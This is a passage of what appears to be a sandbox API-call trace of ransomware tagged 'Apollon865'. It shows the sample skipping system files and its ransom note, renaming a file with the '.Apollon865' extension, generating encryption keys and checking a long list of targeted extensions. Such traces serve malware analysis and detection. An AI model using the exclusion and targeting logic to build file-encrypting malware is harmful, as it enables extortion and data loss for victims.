	[0055.054] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Juneau" | out: lpString1="Juneau") returned="Juneau"
	[0055.054] lstrlenW (lpString="Juneau") returned 6
	[0055.054] lstrlenW (lpString="Apollon865") returned 10
	[0055.054] lstrlenW (lpString=".dll") returned 4
	[0055.054] lstrcmpiW (lpString1="Juneau", lpString2=".dll") returned 1
	[0055.054] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Kentucky" | out: lpString1="Kentucky") returned="Kentucky"
	[0055.054] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7ae8
	[0055.054] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x72) returned 0x591740
	[0055.054] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7af0 | out: ListHead=0x5b76b0, ListEntry=0x5b7af0) returned 0x5b7cb0
	[0055.054] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x51, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="La_Paz", cAlternateFileName="")) returned 1
	[0055.054] lstrcmpiW (lpString1="La_Paz", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0055.054] lstrcmpiW (lpString1="La_Paz", lpString2="Apollon865.txt.exe") returned 1
	[0055.054] lstrcmpiW (lpString1="La_Paz", lpString2=".") returned 1
	[0055.054] lstrcmpiW (lpString1="La_Paz", lpString2="..") returned 1
	[0055.054] lstrcmpiW (lpString1="La_Paz", lpString2="windows") returned -1
	[0055.054] lstrcmpiW (lpString1="La_Paz", lpString2="bootmgr") returned 1
	[0055.054] lstrcmpiW (lpString1="La_Paz", lpString2="temp") returned -1
	[0055.054] lstrcmpiW (lpString1="La_Paz", lpString2="pagefile.sys") returned -1
	[0055.055] lstrcmpiW (lpString1="La_Paz", lpString2="boot") returned 1
	[0055.055] lstrcmpiW (lpString1="La_Paz", lpString2="ids.txt") returned 1
	[0055.055] lstrcmpiW (lpString1="La_Paz", lpString2="ntuser.dat") returned -1
	[0055.055] lstrcmpiW (lpString1="La_Paz", lpString2="perflogs") returned -1
	[0055.055] lstrcmpiW (lpString1="La_Paz", lpString2="MSBuild") returned -1
	[0055.055] lstrlenW (lpString="La_Paz") returned 6
	[0055.055] lstrlenW (lpString="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Kentucky") returned 56
	[0055.055] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="La_Paz" | out: lpString1="La_Paz") returned="La_Paz"
	[0055.055] lstrlenW (lpString="La_Paz") returned 6
	[0055.055] lstrlenW (lpString="Apollon865") returned 10
	[0055.055] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Lima" | out: lpString1="Lima") returned="Lima"
	[0055.055] lstrlenW (lpString="Lima") returned 4
	[0055.055] lstrlenW (lpString="Apollon865") returned 10
	[0055.055] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Los_Angeles" | out: lpString1="Los_Angeles") returned="Los_Angeles"
	[0055.055] lstrlenW (lpString="Los_Angeles") returned 11
	[0055.055] lstrlenW (lpString="Apollon865") returned 10
	[0055.055] lstrcmpiW (lpString1="os_Angeles", lpString2="Apollon865") returned 1
	[0055.055] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Maceio" | out: lpString1="Maceio") returned="Maceio"
	[0055.055] lstrlenW (lpString="Maceio") returned 6
	[0055.055] lstrlenW (lpString="Apollon865") returned 10
	[0055.055] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Managua" | out: lpString1="Managua") returned="Managua"
	[0055.055] lstrlenW (lpString="Managua") returned 7
	[0055.055] lstrlenW (lpString="Apollon865") returned 10
	[0055.055] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Manaus" | out: lpString1="Manaus") returned="Manaus"
	[0055.055] lstrlenW (lpString="Manaus") returned 6
	[0055.055] lstrlenW (lpString="Apollon865") returned 10
	[0055.056] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Martinique" | out: lpString1="Martinique") returned="Martinique"
	[0055.056] lstrlenW (lpString="Martinique") returned 10
	[0055.056] lstrlenW (lpString="Apollon865") returned 10
	[0055.056] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Matamoros" | out: lpString1="Matamoros") returned="Matamoros"
	[0055.056] lstrlenW (lpString="Matamoros") returned 9
	[0055.056] lstrlenW (lpString="Apollon865") returned 10
	[0055.056] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Mazatlan" | out: lpString1="Mazatlan") returned="Mazatlan"
	[0055.056] lstrlenW (lpString="Mazatlan") returned 8
	[0055.056] lstrlenW (lpString="Apollon865") returned 10
	[0055.056] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Menominee" | out: lpString1="Menominee") returned="Menominee"
	[0055.056] lstrlenW (lpString="Menominee") returned 9
	[0055.056] lstrlenW (lpString="Apollon865") returned 10
	[0055.056] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Merida" | out: lpString1="Merida") returned="Merida"
	[0055.056] lstrlenW (lpString="Merida") returned 6
	[0055.056] lstrlenW (lpString="Apollon865") returned 10
	[0055.064] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Metlakatla" | out: lpString1="Metlakatla") returned="Metlakatla"
	[0055.064] lstrlenW (lpString="Metlakatla") returned 10
	[0055.064] lstrlenW (lpString="Apollon865") returned 10
	[0055.064] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Mexico_City" | out: lpString1="Mexico_City") returned="Mexico_City"
	[0055.064] lstrlenW (lpString="Mexico_City") returned 11
	[0055.064] lstrlenW (lpString="Apollon865") returned 10
	[0055.064] lstrcmpiW (lpString1="exico_City", lpString2="Apollon865") returned 1
	[0055.064] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Miquelon" | out: lpString1="Miquelon") returned="Miquelon"
	[0055.064] lstrlenW (lpString="Miquelon") returned 8
	[0055.064] lstrlenW (lpString="Apollon865") returned 10
	[0055.064] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Moncton" | out: lpString1="Moncton") returned="Moncton"
	[0055.064] lstrlenW (lpString="Moncton") returned 7
	[0055.064] lstrlenW (lpString="Apollon865") returned 10
	[0055.064] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Monterrey" | out: lpString1="Monterrey") returned="Monterrey"
	[0055.064] lstrlenW (lpString="Monterrey") returned 9
	[0055.064] lstrlenW (lpString="Apollon865") returned 10
	[0055.065] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Montevideo" | out: lpString1="Montevideo") returned="Montevideo"
	[0055.065] lstrlenW (lpString="Montevideo") returned 10
	[0055.065] lstrlenW (lpString="Apollon865") returned 10
	[0055.065] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Montreal" | out: lpString1="Montreal") returned="Montreal"
	[0055.065] lstrlenW (lpString="Montreal") returned 8
	[0055.065] lstrlenW (lpString="Apollon865") returned 10
	[0055.065] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Montserrat" | out: lpString1="Montserrat") returned="Montserrat"
	[0055.065] lstrlenW (lpString="Montserrat") returned 10
	[0055.065] lstrlenW (lpString="Apollon865") returned 10
	[0055.065] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Nassau" | out: lpString1="Nassau") returned="Nassau"
	[0055.065] lstrlenW (lpString="Nassau") returned 6
	[0055.065] lstrlenW (lpString="Apollon865") returned 10
	[0055.065] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="New_York" | out: lpString1="New_York") returned="New_York"
	[0055.065] lstrlenW (lpString="New_York") returned 8
	[0055.065] lstrlenW (lpString="Apollon865") returned 10
	[0055.065] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Nipigon" | out: lpString1="Nipigon") returned="Nipigon"
	[0055.065] lstrlenW (lpString="Nipigon") returned 7
	[0055.065] lstrlenW (lpString="Apollon865") returned 10
	[0055.065] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Nome" | out: lpString1="Nome") returned="Nome"
	[0055.065] lstrlenW (lpString="Nome") returned 4
	[0055.065] lstrlenW (lpString="Apollon865") returned 10
	[0055.066] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Noronha" | out: lpString1="Noronha") returned="Noronha"
	[0055.066] lstrlenW (lpString="Noronha") returned 7
	[0055.066] lstrlenW (lpString="Apollon865") returned 10
	[0055.066] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="North_Dakota" | out: lpString1="North_Dakota") returned="North_Dakota"
	[0055.066] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7c88
	[0055.066] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x7a) returned 0x5bf4e0
	[0055.066] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7c90 | out: ListHead=0x5b76b0, ListEntry=0x5b7c90) returned 0x5b7af0
	[0055.066] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7457b600, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x7457b600, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x7457b600, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x330, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Ojinaga", cAlternateFileName="")) returned 1
	[0055.066] lstrcmpiW (lpString1="Ojinaga", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0055.066] lstrcmpiW (lpString1="Ojinaga", lpString2="Apollon865.txt.exe") returned 1
	[0055.066] lstrcmpiW (lpString1="Ojinaga", lpString2=".") returned 1
	[0055.066] lstrcmpiW (lpString1="Ojinaga", lpString2="..") returned 1
	[0055.066] lstrcmpiW (lpString1="Ojinaga", lpString2="windows") returned -1
	[0055.066] lstrcmpiW (lpString1="Ojinaga", lpString2="bootmgr") returned 1
	[0055.066] lstrcmpiW (lpString1="Ojinaga", lpString2="temp") returned -1
	[0055.066] lstrcmpiW (lpString1="Ojinaga", lpString2="pagefile.sys") returned -1
	[0055.066] lstrcmpiW (lpString1="Ojinaga", lpString2="boot") returned 1
	[0055.066] lstrcmpiW (lpString1="Ojinaga", lpString2="ids.txt") returned 1
	[0055.066] lstrcmpiW (lpString1="Ojinaga", lpString2="ntuser.dat") returned 1
	[0055.066] lstrcmpiW (lpString1="Ojinaga", lpString2="perflogs") returned -1
	[0055.066] lstrcmpiW (lpString1="Ojinaga", lpString2="MSBuild") returned 1
	[0055.066] lstrlenW (lpString="Ojinaga") returned 7
	[0055.066] lstrlenW (lpString="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\North_Dakota") returned 60
	[0055.066] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Ojinaga" | out: lpString1="Ojinaga") returned="Ojinaga"
	[0055.066] lstrlenW (lpString="Ojinaga") returned 7
	[0055.066] lstrlenW (lpString="Apollon865") returned 10
	[0055.066] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Panama" | out: lpString1="Panama") returned="Panama"
	[0055.066] lstrlenW (lpString="Panama") returned 6
	[0055.066] lstrlenW (lpString="Apollon865") returned 10
	[0055.067] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Pangnirtung" | out: lpString1="Pangnirtung") returned="Pangnirtung"
	[0055.067] lstrlenW (lpString="Pangnirtung") returned 11
	[0055.067] lstrlenW (lpString="Apollon865") returned 10
	[0055.067] lstrcmpiW (lpString1="angnirtung", lpString2="Apollon865") returned -1
	[0055.067] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Paramaribo" | out: lpString1="Paramaribo") returned="Paramaribo"
	[0055.067] lstrlenW (lpString="Paramaribo") returned 10
	[0055.067] lstrlenW (lpString="Apollon865") returned 10
	[0055.067] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Phoenix" | out: lpString1="Phoenix") returned="Phoenix"
	[0055.067] lstrlenW (lpString="Phoenix") returned 7
	[0055.067] lstrlenW (lpString="Apollon865") returned 10
	[0055.067] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Port-au-Prince" | out: lpString1="Port-au-Prince") returned="Port-au-Prince"
	[0055.067] lstrlenW (lpString="Port-au-Prince") returned 14
	[0055.067] lstrlenW (lpString="Apollon865") returned 10
	[0055.067] lstrcmpiW (lpString1="-au-Prince", lpString2="Apollon865") returned 1
	[0055.067] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Porto_Velho" | out: lpString1="Porto_Velho") returned="Porto_Velho"
	[0055.067] lstrlenW (lpString="Porto_Velho") returned 11
	[0055.067] lstrlenW (lpString="Apollon865") returned 10
	[0055.067] lstrcmpiW (lpString1="orto_Velho", lpString2="Apollon865") returned 1
	[0055.067] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Port_of_Spain" | out: lpString1="Port_of_Spain") returned="Port_of_Spain"
	[0055.067] lstrlenW (lpString="Port_of_Spain") returned 13
	[0055.067] lstrlenW (lpString="Apollon865") returned 10
	[0055.067] lstrcmpiW (lpString1="t_of_Spain", lpString2="Apollon865") returned 1
	[0055.068] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Puerto_Rico" | out: lpString1="Puerto_Rico") returned="Puerto_Rico"
	[0055.068] lstrlenW (lpString="Puerto_Rico") returned 11
	[0055.068] lstrlenW (lpString="Apollon865") returned 10
	[0055.068] lstrcmpiW (lpString1="uerto_Rico", lpString2="Apollon865") returned 1
	[0055.068] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Rainy_River" | out: lpString1="Rainy_River") returned="Rainy_River"
	[0055.068] lstrlenW (lpString="Rainy_River") returned 11
	[0055.068] lstrlenW (lpString="Apollon865") returned 10
	[0055.068] lstrcmpiW (lpString1="ainy_River", lpString2="Apollon865") returned -1
	[0055.068] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Rankin_Inlet" | out: lpString1="Rankin_Inlet") returned="Rankin_Inlet"
	[0055.068] lstrlenW (lpString="Rankin_Inlet") returned 12
	[0055.068] lstrlenW (lpString="Apollon865") returned 10
	[0055.068] lstrcmpiW (lpString1="nkin_Inlet", lpString2="Apollon865") returned 1
	[0055.068] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Recife" | out: lpString1="Recife") returned="Recife"
	[0055.068] lstrlenW (lpString="Recife") returned 6
	[0055.068] lstrlenW (lpString="Apollon865") returned 10
	[0055.068] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Regina" | out: lpString1="Regina") returned="Regina"
	[0055.068] lstrlenW (lpString="Regina") returned 6
	[0055.068] lstrlenW (lpString="Apollon865") returned 10
	[0055.068] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Resolute" | out: lpString1="Resolute") returned="Resolute"
	[0055.068] lstrlenW (lpString="Resolute") returned 8
	[0055.068] lstrlenW (lpString="Apollon865") returned 10
	[0055.068] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Resolute.Apollon865") returned 67
	[0055.069] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Resolute" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\resolute"), lpNewFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Resolute.Apollon865" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\resolute.apollon865"), dwFlags=0x1) returned 1
	[0055.070] CreateFileW (lpFileName="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Resolute.Apollon865" (normalized: "c:\\program files (x86)\\java\\jre7\\lib\\zi\\america\\resolute.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x154
	[0055.071] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=1052) returned 1
	[0055.071] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3470020
	[0055.071] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0055.071] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf788
	[0055.071] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf700) returned 1
	[0055.072] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0055.072] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0055.072] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x720, lpName=0x0) returned 0x15c
	[0055.074] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x720) returned 0x120000
	[0055.076] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf700) returned 1
	[0055.076] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0055.076] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0055.077] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59ab78
	[0055.077] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59ab78 | out: hHeap=0x580000) returned 1
	[0055.077] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0055.077] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0055.077] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0055.077] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0055.077] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2d38
	[0055.077] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0055.077] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2d38 | out: hHeap=0x580000) returned 1
	[0055.077] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0055.077] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0055.077] CloseHandle (hObject=0x15c) returned 1
	[0055.077] CloseHandle (hObject=0x154) returned 1
	[0055.077] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0055.077] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf788 | out: hHeap=0x580000) returned 1
	[0055.077] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3470020 | out: hHeap=0x580000) returned 1
	[0055.078] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x745a1760, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x745a1760, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x745a1760, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x131, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Rio_Branco", cAlternateFileName="RIO_BR~1")) returned 1
	[0055.078] lstrcmpiW (lpString1="Rio_Branco", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0055.078] lstrcmpiW (lpString1="Rio_Branco", lpString2="Apollon865.txt.exe") returned 1
	[0055.078] lstrcmpiW (lpString1="Rio_Branco", lpString2=".") returned 1
	[0055.078] lstrcmpiW (lpString1="Rio_Branco", lpString2="..") returned 1
	[0055.078] lstrcmpiW (lpString1="Rio_Branco", lpString2="windows") returned -1
	[0055.078] lstrcmpiW (lpString1="Rio_Branco", lpString2="bootmgr") returned 1
	[0055.078] lstrcmpiW (lpString1="Rio_Branco", lpString2="temp") returned -1
	[0055.078] lstrcmpiW (lpString1="Rio_Branco", lpString2="pagefile.sys") returned 1
	[0055.078] lstrcmpiW (lpString1="Rio_Branco", lpString2="boot") returned 1
	[0055.078] lstrcmpiW (lpString1="Rio_Branco", lpString2="ids.txt") returned 1
	[0055.078] lstrcmpiW (lpString1="Rio_Branco", lpString2="ntuser.dat") returned 1
	[0055.078] lstrcmpiW (lpString1="Rio_Branco", lpString2="perflogs") returned 1
	[0055.078] lstrcmpiW (lpString1="Rio_Branco", lpString2="MSBuild") returned 1
	[0055.078] lstrlenW (lpString="Rio_Branco") returned 10
	[0055.078] lstrlenW (lpString="C:\\Program Files (x86)\\Java\\jre7\\lib\\zi\\America\\Resolute") returned 56
	[0055.078] lstrcpyW (in: lpString1=0x2d3e5b0, lpString2="Rio_Branco" | out: lpString1="Rio_Branco") returned="Rio_Branco"
	[0055.078] lstrlenW (lpString="Rio_Branco") returned 10
	[0055.078] lstrlenW (lpString="Apollon865") returned 10
	[0055.078] lstrcmpiW (lpString1="Rio_Branco", lpString2=".dll") returned 1
	[0055.078] lstrcmpiW (lpString1="Rio_Branco", lpString2=".lnk") returned 1
	[0055.078] lstrcmpiW (lpString1="Rio_Branco", lpString2=".ini") returned 1
	[0055.078] lstrcmpiW (lpString1="Rio_Branco", lpString2=".sys") returned 1
	[0055.078] lstrlenW (lpString="Rio_Branco") returned 10
	[0055.078] lstrlenW (lpString="bak") returned 3
	[0055.079] lstrcmpiW (lpString1="nco", lpString2="bak") returned 1
	[0055.079] lstrlenW (lpString="ba_") returned 3
	[0055.079] lstrcmpiW (lpString1="nco", lpString2="ba_") returned 1
	[0055.079] lstrlenW (lpString="dbb") returned 3
	[0055.079] lstrcmpiW (lpString1="nco", lpString2="dbb") returned 1
	[0055.079] lstrlenW (lpString="vmdk") returned 4
	[0055.079] lstrcmpiW (lpString1="anco", lpString2="vmdk") returned -1
	[0055.079] lstrlenW (lpString="rar") returned 3
	[0055.079] lstrcmpiW (lpString1="nco", lpString2="rar") returned -1
	[0055.079] lstrlenW (lpString="zip") returned 3
	[0055.079] lstrcmpiW (lpString1="nco", lpString2="zip") returned -1
	[0055.079] lstrlenW (lpString="tgz") returned 3
	[0055.079] lstrcmpiW (lpString1="nco", lpString2="tgz") returned -1
	[0055.079] lstrlenW (lpString="vbox") returned 4
	[0055.079] lstrcmpiW (lpString1="anco", lpString2="vbox") returned -1
	[0055.079] lstrlenW (lpString="vdi") returned 3
	[0055.079] lstrcmpiW (lpString1="nco", lpString2="vdi") returned -1
	[0055.079] lstrlenW (lpString="vhd") returned 3
	[0055.079] lstrcmpiW (lpString1="nco", lpString2="vhd") returned -1
	[0055.079] lstrlenW (lpString="vhdx") returned 4
	[0055.079] lstrcmpiW (lpString1="anco", lpString2="vhdx") returned -1
	[0055.079] lstrlenW (lpString="avhd") returned 4
	[0055.079] lstrcmpiW (lpString1="anco", lpString2="avhd") returned -1
	[0055.079] lstrlenW (lpString="db") returned 2
	[0055.079] lstrcmpiW (lpString1="co", lpString2="db") returned -1
	[0055.079] lstrlenW (lpString="db2") returned 3
	[0055.079] lstrcmpiW (lpString1="nco", lpString2="db2") returned 1
	[0055.079] lstrlenW (lpString="db3") returned 3
	[0055.079] lstrcmpiW (lpString1="nco", lpString2="db3") returned 1
	[0055.079] lstrlenW (lpString="dbf") returned 3
	[0055.079] lstrcmpiW (lpString1="nco", lpString2="dbf") returned 1
	[0055.079] lstrlenW (lpString="mdf") returned 3
	[0055.079] lstrcmpiW (lpString1="nco", lpString2="mdf") returned 1
	[0055.079] lstrlenW (lpString="mdb") returned 3
	[0055.080] lstrcmpiW (lpString1="nco", lpString2="mdb") returned 1
	[0055.080] lstrlenW (lpString="sql") returned 3
	[0055.080] lstrcmpiW (lpString1="nco", lpString2="sql") returned -1
	[0055.080] lstrlenW (lpString="sqlite") returned 6
	[0055.080] lstrcmpiW (lpString1="Branco", lpString2="sqlite") returned -1
	[0055.080] lstrlenW (lpString="sqlite3") returned 7
	[0055.080] lstrcmpiW (lpString1="_Branco", lpString2="sqlite3") returned -1
	[0055.080] lstrlenW (lpString="sqlitedb") returned 8
	[0055.080] lstrcmpiW (lpString1="o_Branco", lpString2="sqlitedb") returned -1
	[0055.080] lstrlenW (lpString="xml") returned 3
	[0055.080] lstrcmpiW (lpString1="nco", lpString2="xml") returned -1
	[0055.080] lstrlenW (lpString="$er") returned 3
	[0055.080] lstrcmpiW (lpString1="nco", lpString2="$er") returned 1
	[0055.080] lstrlenW (lpString="4dd") returned 3
	[0055.080] lstrcmpiW (lpString1="nco", lpString2="4dd") returned 1
	[0055.080] lstrlenW (lpString="4dl") returned 3
	[0055.080] lstrcmpiW (lpString1="nco", lpString2="4dl") returned 1
	[0055.080] lstrlenW (lpString="^^^") returned 3
	[0055.080] lstrcmpiW (lpString1="nco", lpString2="^^^") returned 1
	[0055.080] lstrlenW (lpString="abs") returned 3
	[0055.080] lstrcmpiW (lpString1="nco", lpString2="abs") returned 1
	[0055.080] lstrlenW (lpString="abx") returned 3
	[0055.080] lstrcmpiW (lpString1="nco", lpString2="abx") returned 1
	[0055.080] lstrlenW (lpString="accdb") returned 5
	[0055.080] lstrcmpiW (lpString1="ranco", lpString2="accdb") returned 1
	[0055.080] lstrlenW (lpString="accdc") returned 5
	[0055.080] lstrcmpiW (lpString1="ranco", lpString2="accdc") returned 1
	[0055.080] lstrlenW (lpString="accde") returned 5
	[0055.080] lstrcmpiW (lpString1="ranco", lpString2="accde") returned 1
	[0055.080] lstrlenW (lpString="accdr") returned 5
	[0055.080] lstrcmpiW (lpString1="ranco", lpString2="accdr") returned 1
	[0055.080] lstrlenW (lpString="accdt") returned 5
	[0055.080] lstrcmpiW (lpString1="ranco", lpString2="accdt") returned 1
	[0055.081] lstrlenW (lpString="accdw") returned 5
	[0055.081] lstrcmpiW (lpString1="ranco", lpString2="accdw") returned 1
	[0055.081] lstrlenW (lpString="accft") returned 5
	[0055.081] lstrcmpiW (lpString1="ranco", lpString2="accft") returned 1
	[0055.081] lstrlenW (lpString="adb") returned 3
	[0055.081] lstrcmpiW (lpString1="nco", lpString2="adb") returned 1
	[0055.081] lstrlenW (lpString="adb") returned 3
	[0055.081] lstrcmpiW (lpString1="nco", lpString2="adb") returned 1
	[0055.081] lstrlenW (lpString="ade") returned 3
	[0055.081] lstrcmpiW (lpString1="nco", lpString2="ade") returned 1
	[0055.081] lstrlenW (lpString="adf") returned 3
	[0055.081] lstrcmpiW (lpString1="nco", lpString2="adf") returned 1
	[0055.081] lstrlenW (lpString="adn") returned 3
	[0055.081] lstrcmpiW (lpString1="nco", lpString2="adn") returned 1
	[0055.081] lstrlenW (lpString="adp") returned 3
	[0055.081] lstrcmpiW (lpString1="nco", lpString2="adp") returned 1
	[0055.081] lstrlenW (lpString="alf") returned 3
	[0055.081] lstrcmpiW (lpString1="nco", lpString2="alf") returned 1
	[0055.081] lstrlenW (lpString="ask") returned 3
	[0055.081] lstrcmpiW (lpString1="nco", lpString2="ask") returned 1
	[0055.081] lstrlenW (lpString="btr") returned 3
	[0055.081] lstrcmpiW (lpString1="nco", lpString2="btr") returned 1
	[0055.081] lstrlenW (lpString="cat") returned 3
	[0055.081] lstrcmpiW (lpString1="nco", lpString2="cat") returned 1
	[0055.081] lstrlenW (lpString="cdb") returned 3
	[0055.081] lstrcmpiW (lpString1="nco", lpString2="cdb") returned 1
	[0055.081] lstrlenW (lpString="ckp") returned 3
	[0055.081] lstrcmpiW (lpString1="nco", lpString2="ckp") returned 1
	[0055.081] lstrlenW (lpString="cma") returned 3
	[0055.081] lstrcmpiW (lpString1="nco", lpString2="cma") returned 1
	[0055.081] lstrlenW (lpString="cpd") returned 3
	[0055.081] lstrcmpiW (lpString1="nco", lpString2="cpd") returned 1
	[0055.081] lstrlenW (lpString="dacpac") returned 6
	[0055.082] lstrcmpiW (lpString1="Branco", lpString2="dacpac") returned -1
	[0055.082] lstrlenW (lpString="dad") returned 3
	[0055.082] lstrcmpiW (lpString1="nco", lpString2="dad") returned 1
	[0055.082] lstrlenW (lpString="dadiagrams") returned 10
	[0055.082] lstrlenW (lpString="daschema") returned 8
	[0055.082] lstrcmpiW (lpString1="o_Branco", lpString2="daschema") returned 1
	[0055.082] lstrlenW (lpString="db-journal") returned 10
